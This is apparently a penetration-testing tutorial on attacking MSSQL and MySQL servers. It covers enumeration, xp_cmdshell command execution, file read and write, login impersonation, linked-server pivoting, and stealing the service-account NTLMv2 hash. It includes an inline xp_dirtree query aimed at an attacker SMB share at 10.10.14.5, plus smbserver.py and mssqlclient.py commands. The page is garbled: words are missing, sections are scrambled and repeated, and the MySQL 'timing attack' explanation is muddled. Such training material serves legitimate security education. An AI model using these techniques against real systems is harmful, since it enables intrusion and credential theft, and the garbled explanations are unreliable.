Attacking SQL Databases
Last updated
Last updated
Related Pages & Tools:
and (MSSQL
) are relational database management systems that store data in tables, columns, and rows. Many relational database systems like MSSQL & MySQL use the (SQL
) for querying and maintaining the database.
Databases hosts are considered to be high targets since they are responsible for storing all kinds of sensitive data, including, but not limited to, user credentials, Personal Identifiable Information (PII)
, business-related data, and payment information. In addition, those services often are configured with highly privileged users. If we gain access to a database, we may be able to leverage those privileges for more actions, including lateral movement and privilege escalation.
By default, MSSQL uses ports TCP/1433
and UDP/1434
, and MySQL uses TCP/3306
. However, when MSSQL operates in a "hidden" mode, it uses the TCP/2433
port. We can use Nmap
's default scripts -sC
option to enumerate database services on a target system:
The Nmap scan reveals essential information about the target, like the version and hostname, which we can use to identify common misconfigurations, specific attacks, or known vulnerabilities. Let's explore some common misconfigurations and protocol specifics attacks.
Windows authentication mode
This is the default, often referred to as integrated
security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.
Mixed mode
Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.
In this timing attack, MySQL repeatedly attempts to authenticate to a server and measures the time it takes for the server to respond to each attempt. By measuring the time it takes the server to respond, we can determine when the correct password has been found, even if the server does not indicate success or failure.
In the case of MySQL 5.6.x
, the server takes longer to respond to an incorrect password than to a correct one. Thus, if we repeatedly try to authenticate with the same incorrect password, we will eventually receive a response indicating that the correct password was found, even though it was not.
Misconfigured authentication in SQL Server can let us access the service without credentials if anonymous access is enabled, a user without a password is configured, or any user, group, or machine is allowed to access the SQL Server.
Depending on the user's privileges, we may be able to perform different actions within a SQL Server, such as:
Read or change the contents of a database
Read or change the server configuration
Execute commands
Read local files
Communicate with other databases
Capture the local system hash
Impersonate existing users
Gain access to other networks
In this section, we will explore some of these attacks.
Let's imagine we gained access to a SQL Database. First, we need to identify existing databases on the server, what tables the database contains, and finally, the contents of each table. Keep in mind that we may find databases with hundreds of tables. If our goal is not just getting access to the data, we will need to pick which tables may contain interesting information to continue our attacks, such as usernames and passwords, tokens, configurations, and more. Let's see how we can do this:
Note: When we authenticate to MSSQL using sqlcmd
we can use the parameters -y
(SQLCMDMAXVARTYPEWIDTH) and -Y
(SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance.
If we are targeting MSSQL
from Linux, we can use sqsh
as an alternative to sqlcmd
:
Alternatively, we can use the tool from Impacket with the name mssqlclient.py
.
Note: When we authenticate to MSSQL using sqsh
we can use the parameters -h
to disable headers and footers for a cleaner look.
When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication. If we are targeting a local account, we can use SERVERNAME\\accountname
or .\\accountname
. The full command would look like:
Before we explore using SQL syntax, it is essential to know the default databases for MySQL
and MSSQL
. Those databases hold information about the database itself and help us enumerate database names, tables, columns, etc. With access to those databases, we can use some system stored procedures, but they usually don't contain company data.
Note: We will get an error if we try to list or connect to a database we don't have permissions to.
MySQL
default system schemas/databases:
mysql
- is the system database that contains tables that store information required by the MySQL server
information_schema
- provides access to database metadata
performance_schema
- is a feature for monitoring MySQL Server execution at a low level
sys
- a set of objects that helps DBAs and developers interpret data collected by the Performance Schema
MSSQL
default system schemas/databases:
master
- keeps the information for an instance of SQL Server.
msdb
- used by SQL Server Agent.
model
- a template database copied for each new database.
resource
- a read-only database that keeps system objects visible in every database on the server in sys schema.
tempdb
- keeps temporary objects for SQL queries.
If we use sqlcmd
, we will need to use GO
after our query to execute the SQL syntax.
Command execution
is one of the most desired capabilities when attacking common services because it allows us to control the operating system. If we have the appropriate privileges, we can use the SQL database to execute system commands or create the necessary elements to do it.
The Windows process spawned by xp_cmdshell
has the same security rights as the SQL Server service account
xp_cmdshell
operates synchronously. Control is not returned to the caller until the command-shell command is completed
To execute commands using SQL syntax on MSSQL, use:
XP_CMDSHELL
If xp_cmdshell
is not enabled, we can enable it, if we have the appropriate privileges, using the following command:
secure_file_priv
may be set as follows:
If empty, the variable has no effect, which is not a secure setting.
If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
If set to NULL, the server disables import and export operations.
In the following example, we can see the secure_file_priv
variable is empty, which means we can read and write data using MySQL
:
By default, MSSQL
allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:
As we previously mentioned, by default a MySQL
installation does not allow arbitrary file read, but if the correct settings are in place and with the appropriate privileges, we can read files using the following methods:
To capture the mssqlsvc
service account NTLM hash we can start smbserver
and specify the new share name and the IP on the same interface as the SQL database:
smbserver.py
: This is an Impacket script used to set up a simple SMB server. Impacket is a collection of Python classes for working with network protocols, and smbserver.py
provides a way to easily share files over the SMB protocol.
share
: This is the name you are giving to the SMB share. When you connect to this SMB server, you will access the share with this name. In this case, share
is the name of the share that clients will see.
./
: This specifies the local directory that you want to share over SMB. The ./
notation refers to the current directory where the smbserver.py
script is being run. This means the current directory's contents will be accessible through the SMB share.
-smb2support
: This flag indicates that the SMB server should support SMB2 (and SMB3) protocols in addition to the older SMB1 protocol. SMB2 and SMB3 are more recent versions of the SMB protocol with improved performance and security features compared to SMB1.
-ip 10.10.14.5
: This option specifies the IP address that the SMB server should bind to. It tells smbserver.py
to listen for incoming SMB connections on this IP address. This is useful if you have multiple network interfaces or IP addresses and want to control which one the SMB server uses.
Then we connect to the MSSQL server with the supplied credentials:
Now that we are connected to the DB we run the command: EXEC master..xp_dirtree '\\10.10.14.5\share\'
Checking back on the smbserver
we see we have captured the hash of the service account mssqlsvc
:
With NTLMv2 hash we can use hashcat to crack the hash and get the password:
Then we are able to log into the MSSQL DB with the mssqlsvc account and the decrypted password:
mssqlclient.py
: This is an Impacket script used for interacting with Microsoft SQL Server. It allows you to execute queries, manage databases, and perform other administrative tasks.
-p 1433
: This option specifies the port number on which the SQL Server is listening. In this case, 1433
is the default port for SQL Server.
WIN02/mssqlsvc@10.129.203.12
: This is the connection string specifying the credentials and server details. It’s in the format DOMAIN/username@IP_ADDRESS
, where:
WIN02
is the domain or workgroup name.
mssqlsvc
is the username to authenticate with.
10.129.203.12
is the IP address of the SQL Server.
-windows-auth
: This flag indicates that Windows authentication is being used. In this mode, the provided credentials (in this case, WIN02/mssqlsvc
) are used to authenticate with the SQL Server instance.
If the service account has access to our server, we will obtain its hash. We can then attempt to crack the hash or relay it to another host.
SQL Server has a special permission, named IMPERSONATE
, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends. Let's explore how the IMPERSONATE
privilege can lead to privilege escalation in SQL Server.
First, we need to identify users that we can impersonate. Sysadmins can impersonate anyone by default, But for non-administrator users, privileges must be explicitly assigned. We can use the following query to identify users we can impersonate:
To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role:
As the returned value 0
indicates, we do not have the sysadmin role, but we can impersonate the sa
user. Let us impersonate the user and execute the same commands. To impersonate a user, we can use the Transact-SQL statement EXECUTE AS LOGIN
and set it to the user we want to impersonate.
Note: It's recommended to run EXECUTE AS LOGIN
within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master
.
We can now execute any command as a sysadmin as the returned value 1
indicates. To revert the operation and return to our previous user, we can use the Transact-SQL statement REVERT
.
Note: If we find a user who is not sysadmin, we can still check if the user has access to other databases or linked servers.
If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server. Administrators can configure a linked server using credentials from the remote server. If those credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance. Let's see how we can identify and execute queries on linked servers.
Note: If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).
This time let's discuss a vulnerability that does not have a CVE and does not require a direct exploit. The previous section shows that we can get the NTLMv2
hashes by interacting with the MSSQL server. However, we should mention again that this attack is possible through a direct connection to the MSSQL server and vulnerable web applications. However, we will only focus on the simpler variant for the time being, namely the direct interaction.
We will focus on the undocumented MSSQL server function called xp_dirtree
for this vulnerability. This function is used to view the contents of a specific folder (local or remote). Furthermore, this function provides some additional parameters that can be specified. These include the depth, how far the function should go in the folder, and the actual target folder.
The interesting thing is that the MSSQL function xp_dirtree
is not directly a vulnerability but takes advantage of the authentication mechanism of SMB. When we try to access a shared folder on the network with a Windows host, this Windows host automatically sends an NTLMv2
hash for authentication.
This hash can be used in various ways against the MSSQL server and other hosts in the corporate network. This includes an SMB Relay attack where we "replay" the hash to log into other systems where the account has local admin privileges or cracking
this hash on our local system. Successful cracking would allow us to see and use the password in cleartext. A successful SMB Relay attack would grant us admin rights on another host in the network, but not necessarily the host where the hash originated because Microsoft patched an older flaw that allowed an SMB Relay back to the originating host. We could, however, possibly gain local admin to another host and then steal credentials that could be re-used to gain local admin access to the original system where the NTLMv2 hash originated from.
1.
The source here is the user input, which specifies the function and the folder shared in the network.
Source
2.
The process should ensure that all contents of the specified folder are displayed to the user.
Process
3.
The execution of system commands on the MSSQL server requires elevated privileges with which the service executes the commands.
Privileges
4.
The SMB service is used as the destination to which the specified information is forwarded.
Destination
This is when the cycle starts all over again, but this time to obtain the NTLMv2 hash of the MSSQL service user.
5.
Here, the SMB service receives the information about the specified order through the previous process of the MSSQL service.
Source
6.
The data is then processed, and the specified folder is queried for the contents.
Process
7.
The associated authentication hash is used accordingly since the MSSQL running user queries the service.
Privileges
8.
In this case, the destination for the authentication and query is the host we control and the shared folder on the network.
Destination
MSSQL
supports two , which means that users can be created in Windows or the SQL Server:
MySQL
also supports different , such as username and password, as well as Windows authentication (a plugin is required). In addition, administrators can for many reasons, including compatibility, security, usability, and more. However, depending on which method is implemented, misconfigurations can occur.
In the past, there was a vulnerability in MySQL 5.6.x
servers, among others, that allowed us to bypass authentication by repeatedly using the same incorrect password for the given account because the timing attack
vulnerability existed in the way MySQL handled authentication attempts.
It is crucial to understand how SQL syntax works. We can use the free module to introduce ourselves to SQL syntax. Even though this module covers MySQL, MSSQL and MySQL syntax are pretty similar.
MSSQL
has a called which allow us to execute system commands using SQL. Keep in mind the following about xp_cmdshell
:
xp_cmdshell
is a powerful feature and disabled by default. xp_cmdshell
can be enabled and disabled by using the or by executing
There are other methods to get command execution, such as adding , , , and . However, besides those methods there are also additional functionalities that can be used like the xp_regwrite
command that is used to elevate privileges by creating new entries in the Windows registry. Nevertheless, those methods are outside the scope of this module.
MySQL
supports which allows us to execute C/C++ code as a function within SQL, there's one User Defined Function for command execution in this . It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it.
MySQL
does not have a stored procedure like xp_cmdshell
, but we can achieve command execution if we write to a location in the file system that can execute our commands. For example, suppose MySQL
operates on a PHP-based web server or other programming languages like ASP.NET. If we have the appropriate privileges, we can attempt to write a file using in the webserver directory. Then we can browse to the location where the file is and execute our commands.
In MySQL
, a global system variable limits the effect of data import and export operations, such as those performed by the LOAD DATA
and SELECT … INTO OUTFILE
statements and the function. These operations are permitted only to users who have the privilege.
To write files using MSSQL
, we need to enable , which requires admin privileges, and then execute some stored procedures to create the file:
In the section, we discussed that we could create a fake SMB server to steal a hash and abuse some default implementation within a Windows operating system. We can also steal the MSSQL service account hash using xp_subdirs
or xp_dirtree
undocumented stored procedures, which use the SMB protocol to retrieve a list of child directories under a specified parent directory from the file system. When we use one of these stored procedures and point it to our SMB server, the directory listening functionality will force the server to authenticate and send the NTLMv2 hash of the service account that is running the SQL Server.
To make this work, we need first to start or and execute one of the following SQL queries:
MSSQL
has a configuration option called . Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle.
As we can see in the query's output, we have the name of the server and the column isremote
, where 1
means is a remote server, and 0
is a linked server. We can see for more information.
Next, we can attempt to identify the user used for the connection and its privileges. The statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets ([ ]
).
As we have seen, we can now execute queries with sysadmin privileges on the linked server. As sysadmin
, we control the SQL Server instance. We can read data from any database or execute system commands with xp_cmdshell
. This section covered some of the most common ways to attack SQL Server and MySQL databases during penetration testing engagements. There are other methods for attacking these database types as well as others, such as , SQLite, Oracle, , and .
Finally, the hash is intercepted by tools like Responder
, WireShark
, or TCPDump
and displayed to us, which we can try to use for our purposes. Apart from that, there are many different ways to execute commands in MSSQL. For example, another interesting method would be to execute Python code in a SQL query. We can find more about this in the from Microsoft. However, this and other possibilities of what we can do with MSSQL will be discussed in another module.